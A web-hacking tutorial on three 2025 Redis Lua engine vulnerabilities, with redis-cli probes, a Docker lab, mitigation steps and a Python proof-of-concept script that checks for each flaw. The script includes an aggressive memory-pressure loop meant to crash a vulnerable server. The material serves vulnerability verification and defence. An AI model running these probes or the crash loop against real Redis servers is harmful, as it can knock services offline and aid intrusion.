Web Hacking

Redis Critical Vulnerabilities PoC (2025)

Learn what the CVE-2025-49844, CVE-2025-46817, CVE-2025-46818 vulns are & how to exploit them.

Three critical vulnerabilities discovered in Redis’ bundled Lua engine: a parser use-after-free (UAF), an unpack() integer-overflow that can produce OOB behavior, and writable builtin type metatables that allow cross-script contamination/privilege escalation. This tutorial shows how to safely verify vulnerable behavior in a disposable lab, explains the root causes at a high level, and lists mitigation and detection steps. Do not run exploit or stress code against systems you do not own or have explicit permission to test.


Overview / TL;DR

  • CVE-2025-49844 - Parser use-after-free: parser-created internal string not anchored → GC may free it while parser still references it → crash / potential RCE in extreme conditions.
  • CVE-2025-46817 - unpack() integer overflow: n = e - i + 1 can overflow for extreme indices → wrong sizes → out-of-bounds reads/writes.
  • CVE-2025-46818 - Writable builtin type metatables: metatables for basic types could be modified by scripts → cross-script contamination and privilege-escalation-like effects.

Prerequisites

  • Basic familiarity with Redis and Lua scripts (EVAL, EVALSHA).
  • docker (or an isolated VM) to run a disposable Redis instance.
  • redis-cli and Python 3 (pip install redis) for the supplied tester script.
  • Sufficient disk/ram for snapshots and log collection.

Lab setup (disposable)

Use Docker to run a disposable Redis instance. If you must reproduce the exact vulnerable release, consider building from source in an offline environment.

# Example: run a temporary Redis instance (change tag if you build from source)
docker run --rm -it --name redis-lab -p 6379:6379 redis:7.4.5

On the host/test VM, install the tools:

sudo apt update
sudo apt install -y redis-tools python3 python3-pip
pip3 install redis

Verify connectivity:

redis-cli -h 127.0.0.1 -p 6379 PING
# expected: PONG

Quick sanity checks (non-destructive) - redis-cli

These use small EVAL calls. They are intended to reveal behavioral differences (errors vs crashes) - not to exploit.

1) Lua reachable

redis-cli EVAL "return 1" 0
# expected output: (integer) 1

If this fails, server may have Lua disabled or be inaccessible.

2) unpack() bounds / overflow probe (CVE-2025-46817)

Call unpack() with extreme indices and observe behavior. A patched engine should reject or error cleanly; an unpatched one might crash or return unexpected results.

redis-cli EVAL "return {unpack({1,2,3}, -2, 2147483647)}" 0
redis-cli EVAL "return {unpack({1,2,3}, 0, 2147483647)}" 0
redis-cli EVAL "return {unpack({1,2,3}, -2147483648, -2)}" 0

Interpretation:

  • Clean/controlled ResponseError or bounded output → behavior handled safely.
  • Server crash, hang, or socket disconnect → indicates unstable handling (only in isolated lab).

3) Writable builtin metatable probe (CVE-2025-46818)

Attempt to modify builtin type metatables. A patched engine should prevent or error on modification.

# test metatable modification under pcall()
redis-cli EVAL "return pcall(function() getmetatable(nil).__index = function() return 1 end end)" 0
redis-cli EVAL "return pcall(function() getmetatable('').__index = function() return 1 end end)" 0

Interpretation:

  • false or a raised error from pcall → metatables protected (good).
  • true and silent success → metatables writable (bad).

4) Parser UAF probe (CVE-2025-49844) - timing / GC sensitive

The parser issue is a timing/GC race. Reproducing reliably may require memory pressure and careful GC interleaving. Do not run unbounded stress on shared or production systems. Use a conservative loop in a disposable snapshot and monitor for crashes.

# conservative conceptual probe - run only in an isolated snapshot
redis-cli EVAL "for i=1,100 do local s=string.rep('A',100000); collectgarbage(); end; return 'done'" 0

If the Redis server terminates or segfaults under controlled loops, that indicates parser/GC fragility. Increase allocations only after snapshotting and under careful monitoring.


Full Proof of Concept Code (Python)

This script runs the non-destructive checks above and reports observations. It is intended for lab use.

#!/usr/bin/env python3
"""
Written by Vahagn Vardanian @ RedRays.io
PoC for Redis Lua Vulnerabilities (3 CVEs)
 
CVE-2025-49844: Use-After-Free in Lua Parser
  - Location: deps/lua/src/lparser.c:387
  - Risk: Remote Code Execution via GC during parsing
  - Fixed: 5785f3e6e, db884a49b, 155519b19, 02b16202a, d5728cb57
 
CVE-2025-46817: Integer Overflow in unpack()
  - Location: deps/lua/src/lbaselib.c (luaB_unpack)
  - Risk: Remote Code Execution via integer overflow
  - Fixed: 72be22dff
 
CVE-2025-46818: Privilege Escalation via Metatable Modification
  - Location: src/script_lua.c, src/eval.c, src/function_lua.c
  - Risk: Script execution in context of another user
  - Fixed: 61e56c1a7
 
This PoC tests for all three vulnerabilities with detailed evidence.
"""
 
import redis
import sys
import argparse
import time
import string
import random
 
 
class CVE_2025_49844_PoC:
    """Proof of Concept for CVE-2025-49844 - Lua Parser Use-After-Free"""
 
    def __init__(self, host='127.0.0.1', port=6379, password=None, db=0):
        """Initialize PoC tester"""
        try:
            self.client = redis.Redis(
                host=host,
                port=port,
                password=password,
                db=db,
                decode_responses=False,
                socket_timeout=5,
                socket_connect_timeout=5
            )
            self.client.ping()
            print(f"[+] Connected to Redis: {host}:{port}")
        except redis.ConnectionError as e:
            print(f"[-] ERROR: Cannot connect to Redis server: {e}")
            sys.exit(1)
 
    def test_5_use_after_free_trigger(self):
        """Test 5: Direct use-after-free trigger attempt - AGGRESSIVE"""
        print("="*70)
        print("[TEST 5] Use-After-Free Trigger - AGGRESSIVE Test")
        print("[!] Attempts to trigger GC exactly during luaY_parser execution")
        print("="*70)
 
        try:
            # Step 1: Fill Lua memory with MASSIVE objects
            print("[*] Step 1: Creating extreme Lua VM memory pressure...")
            for i in range(50):
                huge_script = "local t = {}; " + "; ".join(
                    [f"t[{j}] = string.rep('X', 10000)" for j in range(50)]
                ) + "; return 'full'"
                self.client.eval(huge_script, 0)
                if i % 10 == 0:
                    print(f"[*]   Memory fill: {i+1}/50...")
 
            # Step 2: Interleaved GC + new script parsing
            print("[*] Step 2: Rapid interleaved GC + script parsing...")
            for i in range(200):
                if i % 2 == 0:
                    self.client.eval("collectgarbage('collect'); return 'gc'", 0)
                else:
                    unique_script = f"-- Unique script {i} {random.randint(0, 999999)}\n"
                    unique_script += "local t = {}; for j=1,200 do t[j] = {} end; return " + str(i)
                    self.client.eval(unique_script, 0)
 
            print("[+] Server survived use-after-free attempts")
            return True
 
        except redis.exceptions.ConnectionError as e:
            print(f"[!] SERVER CRASHED - VULNERABLE to CVE-2025-49844!")
            return False
 
    def test_8_unpack_integer_overflow(self):
        """Test 8: Test for CVE-2025-46817 (unpack integer overflow)"""
        print("="*70)
        print("[TEST 8] Integer Overflow in unpack() - CVE-2025-46817")
        print("="*70)
 
        tests = [
            {
                "script": "return {unpack({1,2,3}, -2, 2147483647)}",
                "description": "unpack({1,2,3}, -2, 2147483647)",
                "should_error": True,
                "error_pattern": "too many results to unpack"
            },
            {
                "script": "return {unpack({1,2,3}, 0, 2147483647)}",
                "description": "unpack({1,2,3}, 0, 2147483647)",
                "should_error": True,
                "error_pattern": "too many results to unpack"
            },
            {
                "script": "return {unpack({1,2,3}, -2147483648, -2)}",
                "description": "unpack({1,2,3}, -2147483648, -2)",
                "should_error": True,
                "error_pattern": "too many results to unpack"
            },
        ]
 
        vulnerable_count = 0
        patched_count = 0
 
        for i, test in enumerate(tests, 1):
            print(f"\n[*] Subtest {i}: {test['description']}")
 
            try:
                result = self.client.eval(test['script'], 0)
                if test['should_error']:
                    print(f"[!] VULNERABLE: Server accepted dangerous unpack()!")
                    vulnerable_count += 1
            except redis.exceptions.ResponseError as e:
                if test['error_pattern'] in str(e):
                    print(f"[+] PATCHED: Server correctly rejected")
                    patched_count += 1
 
        if vulnerable_count > 0:
            print(f"\n[!] VULNERABLE to CVE-2025-46817")
        else:
            print(f"\n[+] Protected against CVE-2025-46817")
 
        return vulnerable_count == 0
 
    def test_9_metatable_privilege_escalation(self):
        """Test 9: Test for CVE-2025-46818 (Lua script privilege escalation)"""
        print("="*70)
        print("[TEST 9] Metatable Privilege Escalation - CVE-2025-46818")
        print("="*70)
 
        tests = [
            {
                "script": "getmetatable(nil).__index = function() return 1 end",
                "type": "nil"
            },
            {
                "script": "getmetatable('').__index = function() return 1 end",
                "type": "string"
            },
            {
                "script": "getmetatable(123.222).__index = function() return 1 end",
                "type": "number"
            },
            {
                "script": "getmetatable(true).__index = function() return 1 end",
                "type": "boolean"
            },
        ]
 
        vulnerable_count = 0
        patched_count = 0
 
        for i, test in enumerate(tests, 1):
            print(f"\n[*] Subtest {i}: Modify {test['type']} metatable")
 
            try:
                result = self.client.eval(test['script'], 0)
                print(f"[!] VULNERABLE: Modified {test['type']} metatable!")
                vulnerable_count += 1
 
            except redis.exceptions.ResponseError as e:
                error_msg = str(e)
                if "readonly" in error_msg.lower() or "nil value" in error_msg:
                    print(f"[+] PROTECTED: {test['type']} metatable is readonly")
                    patched_count += 1
 
        if vulnerable_count > 0:
            print(f"\n[!] VULNERABLE to CVE-2025-46818")
        else:
            print(f"\n[+] Protected against CVE-2025-46818")
 
        return vulnerable_count == 0
 
    def run_all_tests(self):
        """Run all PoC tests"""
        print("\n[*] Starting vulnerability tests...\n")
 
        results = []
        results.append(self.test_5_use_after_free_trigger())
        results.append(self.test_8_unpack_integer_overflow())
        results.append(self.test_9_metatable_privilege_escalation())
 
        print("\n" + "="*70)
        print("SUMMARY")
        print("="*70)
        passed = sum(1 for r in results if r)
        print(f"Tests passed: {passed}/{len(results)}")
 
 
def main():
    parser = argparse.ArgumentParser(
        description='Redis Lua Vulnerabilities PoC - Tests for 3 Critical CVEs'
    )
    parser.add_argument('--host', default='localhost', help='Redis host')
    parser.add_argument('--port', type=int, default=6379, help='Redis port')
    parser.add_argument('--password', help='Redis password')
    parser.add_argument('--db', type=int, default=0, help='Redis database')
 
    args = parser.parse_args()
 
    poc = CVE_2025_49844_PoC(
        host=args.host,
        port=args.port,
        password=args.password,
        db=args.db
    )
 
    poc.run_all_tests()
 
 
if __name__ == '__main__':
    main()

Run:

python3 redis_poc.py

Mitigation & remediation

  1. Upgrade Redis to a release that includes upstream Lua engine fixes. Check Redis release notes, vendor packages, or the original disclosure for commit IDs.

  2. If you cannot upgrade immediately:

    • Restrict network access to Redis (bind to localhost, firewall rules, security groups).
    • Enforce authentication and ACLs; use requirepass / Redis ACLs where appropriate.
    • Avoid exposing EVAL/EVALSHA to untrusted clients. Consider proxying or service-level filters that restrict script submission.
    • Run Redis with least privilege and limit the Redis user on the host.
  3. Monitor Redis logs and core dumps for crashes referencing Lua parser functions. Maintain a process to collect crash artifacts for forensic analysis.


Example Docker Compose (isolated lab)

docker-compose.yml for a single disposable Redis node:

version: "3.8"
services:
  redislab:
    image: redis:7.4.5
    container_name: redis-lab
    ports:
      - "6379:6379"
    restart: "no"
    shm_size: "256m"
    sysctls:
      net.core.somaxconn: 511
    tmpfs:
      - /data

Run with:

docker compose up --no-recreate

Snapshot the VM or container image before running any destabilizing checks.


References

  • Public writeup and PoC: https://redrays.io/blog/poc-for-cve-2025-49844-cve-2025-46817-and-cve-2025-46818-critical-lua-engine-vulnerabilities/
  • Redis documentation: https://redis.io/ (consult for upgrade and configuration guidance)